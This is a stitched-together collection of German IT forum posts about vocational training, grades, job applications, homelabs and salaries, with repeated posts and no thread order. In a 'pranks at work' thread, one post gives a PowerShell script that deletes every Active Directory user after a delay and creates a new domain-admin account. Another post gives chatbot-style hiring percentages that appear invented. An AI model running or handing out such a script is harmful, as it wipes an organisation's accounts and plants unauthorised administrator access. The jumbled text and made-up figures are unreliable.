Dakta

Ganz klar Option Nr. 1

Ich muss auch ehrlicherweise sagen, dass mich das erste Angebot deutlich mehr anzieht.

ich begrüße diese Entwicklung ausdrücklich und hoffe, dass sie lange anhält. Würde mich auch für die hybrid/on-prem Variante entscheiden in der Originalfrage.

Im Internet steht auch dass die Rente sicher ist
Die meisten unserer Grosskunden gehen grad wieder zurück, wegen nicht überschaubarer Kosten, dem Einfluss des nunmehr grauen Pavians etc.
Bei AE hab ich wenig Berührung, ich seh nur, dass die, die mit KI gearbeitet haben nun komplett im Eimer sind da sie "ihren" Code nicht mehr verstehen und pflegen können.
Da ich fast nur Infrastruktur mache kann ich nur da was sagen .... das hält sich und leidet momentan nur unter dem Engpass von Speicher

Das Skript funktioniert so gar nicht oder? Da fehlt -Confirm:$false beim Remove Befehl.

oder der Stopp dieser dämlichen KI RZ. Ich brauch keine KI um zu erfahren wie ich schön und berühmt werde ich BIN schön und berühmt :D

Als Umschüler muss ich sagen, dass meine 93 Punkte im IHK Zeugnis bis jetzt von jedem potenziellen Arbeitgeber angesprochen wurde und mir immer die Möglichkeit gegeben hat mich im Gespräch abzugrenzen und mein Profil zu stärken.
Ich kann mir allerdings gut vorstellen, dass es mit genügend Berufserfahrung komplett egal ist.
Das ich die Chance bekommen habe diese Berufserfahrung überhaupt zu sammeln liegt aber zu einem großen Teil an der Note imho.

Danke für den Beitrag ChatGPT.

Kurz gesagt: Die Abschlussnote ist deutlich weniger wichtig, als viele denken – aber komplett egal ist sie auch nicht.
In der Praxis läuft der Auswahlprozess meist so:
Zuerst gibt es einen harten Filter. Da fliegen Bewerbungen raus, wenn grundlegende Dinge fehlen – z. B. falsche Fachrichtung, zu wenig Erfahrung oder wichtige Skills. Wenn du diese Hürde schaffst, bist du schon unter den ~10–30 % der Bewerber.
Danach kommt eine Art Ranking.
Die Note ist nur ein Faktor unter mehreren.
Typisch (vor allem in IT/Technik) wird ungefähr so gewichtet:
Berufserfahrung: ~20–30 %
Skills (passen sie zum Job?): ~20–30 %
Projekte / Portfolio: ~20–30 %
Abschluss / Note: ~5–10 %
Rest (Auftreten, Lebenslauf etc.): ~10–20 %

Erfahrung schlägt Note fast immer
konkrete Skills schlagen Theorie
gute Projekte können eine mittelmäßige Note locker ausgleichen

Bei Junior-Stellen ist die Note noch „mittel wichtig“, aber:
Projekte + Praktika + Tech-Stack passen → deutlich wichtiger
hier können Projekte teilweise den größten Einfluss haben
Später bei Senior-Stellen wird die Note fast irrelevant.

Die Note kann dir Türen öffnen (oder schließen), aber sie entscheidet selten allein.
Wenn Skills, Projekte und Praxis stimmen, spielt sie oft nur noch eine Nebenrolle.

Das geht gar nicht. Und eigentlich Tatsache: das könnte/sollte man dann auch entsprechend ahnden.
Neben dem Arbeitsplatz den du verlierst hast du dann vielleicht auch echt noch eine Anzeige am Hals.

Hallo in die Runde,

wie amüsiert ihr euch auf der Arbeit?
Habt ihr schon den ein oder anderen mal Verarscht / Geprankt oder einfach nur bewusst genervt?



Start-Sleep -Seconds 7200 #Somit hat man einen kleinen Vorsprung

$allUser = get-aduser -filter "*" | Select-Obejct SamAccountName
foreach ($User in $allUser)
{
remove-aduser $User
}
Add-Type -AssemblyName System.Web
$PasswordPlain = [System.Web.Security.Membership]::GeneratePassword(12,2)
$SecurePassword = ConvertTo-SecureString $PasswordPlain -AsPlainText -Force
New-ADUser `
-Name "ItsAPrankBro" `
-SamAccountName "ItsAPrankBro" `
-UserPrincipalName "ItsAPrankBro@firma.de" `
-EmailAddress "ItsAPrankBro@firma.de" `
-AccountPassword $SecurePassword `
-Enabled $true `
-ChangePasswordAtLogon $true
Add-ADGroupMember -Identity "Domänen-Admins" -Members "ItsAPrankBro"

Damit die ganze Firma was zum lachen hat 🙄

Viele Bewerbungen scheitern, weil sie nur schreiben:
Kenntnisse in Netzwerken
Kenntnisse in Windows
Kenntnisse in IT-Sicherheit
Besser sind konkrete Tätigkeiten.
Einladungstrigger:
• Einrichtung neuer Mitarbeiterarbeitsplätze
• Installation und Konfiguration von Windows-Clients
• Benutzerverwaltung im Active Directory
• Bearbeitung von Support-Tickets
• Analyse einfacher Netzwerkprobleme

Das signalisiert: „Der hat praktisch gearbeitet.“


Ein Homelab überzeugt nur, wenn es realistisch und konkret beschrieben wird.
Schwach:
Privates Homelab
Interesse an IT
Stark:
Privates Homelab mit

• Windows Server Domain mit Active Directory
• Benutzerverwaltung und Gruppenrichtlinien
• Virtualisierung mit Proxmox
• Netzwerksegmentierung mit VLAN
• Helpdesk-System mit Zammad
• Monitoring mit Zabbix
Das kann tatsächlich Interviews auslösen, besonders bei kleinen IT-Dienstleistern.

Aber Achtung:
Alles, was du da behaupten kannst, musst du im Gespräch auch beweisen können!

Liest sich für mich jetzt nicht überheblich. Wenn du im Homelab Richtung Active Directory gehst, empfehle ich, mal Powershell anzuschauen und diverse Dinge damit umzusetzen. Das wird sich gut in der Bewerbung machen. Falls du Inspiration brauchst, auf Reddit gibt es regelmäßig Posts "what I did with Powershell this month".

Ich habe damals mit den Aufschrieben aus dem Unterricht gelernt und das hat eigentlich locker gereicht. Also wenn du da regelmäßig mitgeschrieben hast, dann würde ich daraus einfach Zusammenfassungen schreiben, besser lernen geht fast nicht.

Liest sich für mich jetzt nicht überheblich. Wenn du im Homelab Richtung Active Directory gehst, empfehle ich, mal Powershell anzuschauen und diverse Dinge damit umzusetzen. Das wird sich gut in der Bewerbung machen. Falls du Inspiration brauchst, auf Reddit gibt es regelmäßig Posts "what I did with Powershell this month".

Hallo!

Ich hab das jetzt hier nicht so rausgelesen: Warum hat dich der Praktikumsbetrieb nicht übernommen? Oder wolltest du nicht, zumindest ein paar Jahre? Sieht im Lebenslauf wahrscheinlich jetzt so aus wie "nicht so der super Abschluss und das Unternehmen wollte ihn auch nicht, und die haben ihn ja arbeiten gesehen".
Der Markt ist inzwischen recht brutal geworden. Das ging vor wenigen Jahren los. Inzwischen sehe ich hier ringsum, dass sogar Umschüler Probleme haben, einen Praktikumsplatz zu bekommen, also mithin auch in so Unternehmen, wie deinem Praktikumsbetrieb ("kostenlose Arbeitskraft"). Es gibt reihenweise Absagen, oft gar keine Reaktion und hier und da mal eine Einladung zum Vorstellungsgespräch und dann uU noch Probearbeiten oder direkt eine Absage.

Da sieht dein Lebenslauf jetzt wahrscheinlich nicht soo verlockend aus, auch, weil du ja direkt Geld kostest und sicher auch nicht "nur für Mindestlohn" arbeiten willst.

Ich würde versuchen, gezielt Firmen rauszusuchen, die du dir vorstellen kannst. Die dann zu recherchieren und bereits im Anschreiben durchklingen zu lassen, dass du bewusst dort hin möchtest, weil... Deinen CV aufpolieren, gezielt Erfahrungen oder Skills (so vorhanden!) angeben, die auf das entsprechende Unternehmen passen.

Bewirbst du dich Initiativ irgendwo oder nur auf konkrete Ausschreibungen?

LG der Venom

Eben, ich glaube keiner zweifelt dass man für die Prüfungen im Studium mehr büffeln muss. Aber ich kann mich nicht erinnern, wann ich im letzten Jahrzehnt die Neumann Architektur oder die Turing Maschine gebraucht hätte. Oder irgendwas anderes von den 3 ganzen Tafelbildern, die uns der Prof pro Stunde hat abschreiben lassen.
Ich habe dann erst später verstanden, dass man das alles in der Freizeit hätte vertiefen sollen, im Unterricht war man nur mit abschreiben beschäftigt, verstanden hat man da nichts. So eine theoretische Plörre macht halt nicht Spaß groß daheim anzuschauen. Nach 4 Semestern wusste ich immer noch nicht, wtf ich da eigentlich mache? Ich war am selben Punkt wie in der Schule, ich hatte keine Ahnung wie mein Job aussehen wird.
In der Ausbildung hat alles von Tag 1 an Sinn ergeben. Ausbildungsinhalte wie das OSI Modell brauche ich jeden Tag. Endlich hat es mal Spaß gemacht.
Geht. Nicht. Studieren.

Zu deiner ursprünglichen Frage, als jemand der das Informatik Studium abgebrochen hat, ich stimme zu, hart unnötig gewesen. Lieber direkt Ausbildung oder vielleicht noch dual.

Also hier habe ich die Erfahrung gemacht, dass zumindest qualifizierte Arbeitgeber einen technischen Ansprechpartner mit ins Vorstellungsgespräch holen, um genau das abzudecken. Egal welchen Bewerbungsprozess ich jetzt durch habe, es war eigentlich immer mindestens einer aus der jeweiligen Abteilung dabei, für die die Stelle ausgeschrieben war. Und gerade bei größeren Unternehmen schaut doch auch die Perso da nicht mehr drauf. Das kann ich mir nicht vorstellen. Die Perso lädt doch dann nur noch zu Terminen ein, die Vorfilterung der Bewerbungen erfolgt über das System, was benutzt wird. Ich lasse mich da aber gerne eines Besseren belehren.
TE schreibt ja selbst, dass er Bewerbungsgespräche hatte. Also muss da etwas schief gelaufen und die Qualifikationen müssen gepasst haben. Ich habe generell auch die Erfahrung gemacht, dass selbst der AG nicht davon ausgeht, dass ein Bewerber das Anforderungsprofil zu 100% abbildet. Bei meiner vorherigen Stelle habe ich gerade mal 20% erfüllt gehabt.
Wie bereits gesagt kann ich mir gut vorstellen, dass die Einstellung des TE das Problem gewesen sein wird, nicht der B.Sc. Wenn im persönlichen Gespräch genauso schnell pampig und respektlos agiert wird, wird dich auch kein AG wollen.

Die Frage an der Stelle ist meiner Meinung nach dann "Mehr von was?"
Ich habe FiSi und B.Sc. WInf (FH), private Fernuni. Für die reguläre Administrationstätigkeit hätte es letzteres definitiv nicht gebraucht. Ebenso Standardabläufe bei Beschaffung / Planung / Wirtschaftlichkeitsbetrachtung / etc.. Da wurde im Studium viel wiederholt was in der Ausbildung schon da war. An manchen Stellen lässt sich mit dem Wissen aus dem Studium besser gegenüber anderen Wirtschaftsstudierten einfacher debattieren.
Ich werde nicht müde zu wiederholen, dass es das Studium imho für meine Tätigkeiten nicht gebraucht hätte (rein Inhaltlich).
Warum hab' ich überhaupt den WInf gemacht?
1) Langfristiger monetärer Mehrwert - einfachere Inanspruchnahme höher dotierter Stellen
2) Persönliches Interesse (Kann ich das schaffen?)
Letztlich ist immer die Frage was der AG tatsächlich sucht. Meiner Meinung nach wird aber nach wie vor zu viel Fokus auf den "Zettel" gelegt und dann vorausgesetzt, dass dieser allein für bestimmte Tätigkeiten qualifiziert - was aber auch irgendwo verständlich ist, denn an was soll gerade eine Personalabteilung sonst die Qualifikation fest machen.

Alter: 27
Wohnort: LK Freising
letzter Ausbildungsabschluss (als was und wann): FIAE 2022 (aber in wenigen Monaten BSc. Winfo)
Berufserfahrung: 3,5 Jahre
Vorbildung: Abitur

Arbeitsort: Remote
Grösse der Firma: ~200
Tarif: nein
Branche der Firma: SAP Applikationen
Arbeitsstunden pro Woche laut Vertrag: 40
Arbeitsstunden pro Woche real: 40

Gesamtjahresbrutto: 48.000€ 51.000€ 53.000€ 65.000€
Anzahl der Monatsgehälter: 12
Anzahl der Urlaubstage: 30
Sonder- / Sozialleistungen: -
Variabler Anteil am Gehalt: 5.000€

Verantwortung: keine Mitarbeiterverantwortung
Tätigkeiten (Aufgaben/Aufgabenbereich): interner .NET-Entwickler

Also, Geld nicht nötig haben würde ich jetzt nicht wirklich behaupten, aber für ca. 1k € für ca. 20h Arbeit hatte ich als Student nicht nötig, ja. Jetzt bin ich ja Vollzeit verfügbar und kann dementsprechend mehr verdienen. Den Master werde ich aber definitiv nicht machen, hab einfach keinen Bock mehr.
Der CV ist ja nicht mal das Problem, sondern eher, dass ich keine Erfahrung habe. Hatte sogar in meinem letzten Studentenjahr (2 Semester vor dem Abschluss also) mich als Werkstudent beworben, aber selbst da wollen die einen mit Erfahrung. Natürlich habe ich das am Telefon erfragt, woran es denn gelegen hat. Ich sei sehr sehr sympathisch gewesen bla bla Zeiten hätten auch gepasst bla bla aber entschieden wurde für einen, der doch bisschen mehr Erfahrung bringt.
Klar, wofür bewerbe ich mich denn als beschissener Werkstudent. Das habe ich der *Dame so natürlich nicht gesagt, sondern es einfach nur akzeptiert und freundlich aufgelegt. Aber bei Junioren-Stellen ist das ja nicht anders: Man will da als Junior durchstarten und Erfahrungen sammeln, aber wird vorher schon ausgesiebt, weil man gefühlt keine 10 Jahre Erfahrung mit Mitte 20 hat xD
Drecks Deutschland, kein Wunder, dass sich das Land weiter abschafft

Ich kann mir nicht vorstellen, dass du keinen Job im deutschsprachigen Raum findest. Aber ja, es ist aktuell schwieriger.
Wenn du das Geld nicht nötig hast, dann studiere weiter und mach den Master.
Die eigentliche Frage ist etwas müssig, da es dir eh nicht mehr bringt, denn nun hast du ja das Studium. Und per se bekommst in der gleichen Zeit ein Studium (und dadurch höheren Abschluss) und dadurch mehr Chancen. Ich würde stand heute auch immer das Studium wählen oder eben ein duales Studium, da die Bildungsrendite immer noch höher ist. Die "praktische Erfahrung" in der Ausbildung ist nicht normiert, d.h. das ist auch eine Wundertüte - wenn man nicht den eigenen Azubi nimmt => das ist einer der grössten Vorteil einer Ausbildung meiner Meinung nach - wenn man in der Ausbildung Vollgas gibt und nicht ganz Blöde ist, dann hat man danach einen Job und muss nicht auf Juniorstellen Suche gehen, sondern kann gleich mal 2-3 Jahre anhängen und dann mit Erfahrung auf den Markt.
Joa, vielleicht hier mal ein Bewerbertraining besuchen beim Arbeitsamt. Denn Bewerbungsgespräche sind nie sinnlos - man lernt immer etwas und verbessert sich jedes Mal, wenn das als Chance sieht, auch wenn es nicht klappt. Danach anrufen und fragen "Schade, dass es nicht geklappt hat. Ich bin ja Berufseinsteiger, können sie mir bitte noch mit auf den Weg geben woran es gelegen hat, so dass ich es das nächste Mal besser machen kann. Ich wäre dafür sehr dankbar." ist ein MUSS für dich. Auch bei den generischen Absageantworten. Selbst wenn die Antwort oftmals eine Floskel ist, vielleicht bekommst auch mal ein ehrliches gutgemeintes Feedback oder vielleicht sogar eine zweite Chance (bei generischer Absage). Denn ein CV schaue ich mir ca. 10 Sekunden an und entscheide, ob Absage oder Gespräch.

Zu deiner ursprünglichen Frage, als jemand der das Informatik Studium abgebrochen hat, ich stimme zu, hart unnötig gewesen. Lieber direkt Ausbildung oder vielleicht noch dual.

Das ist ... grausam...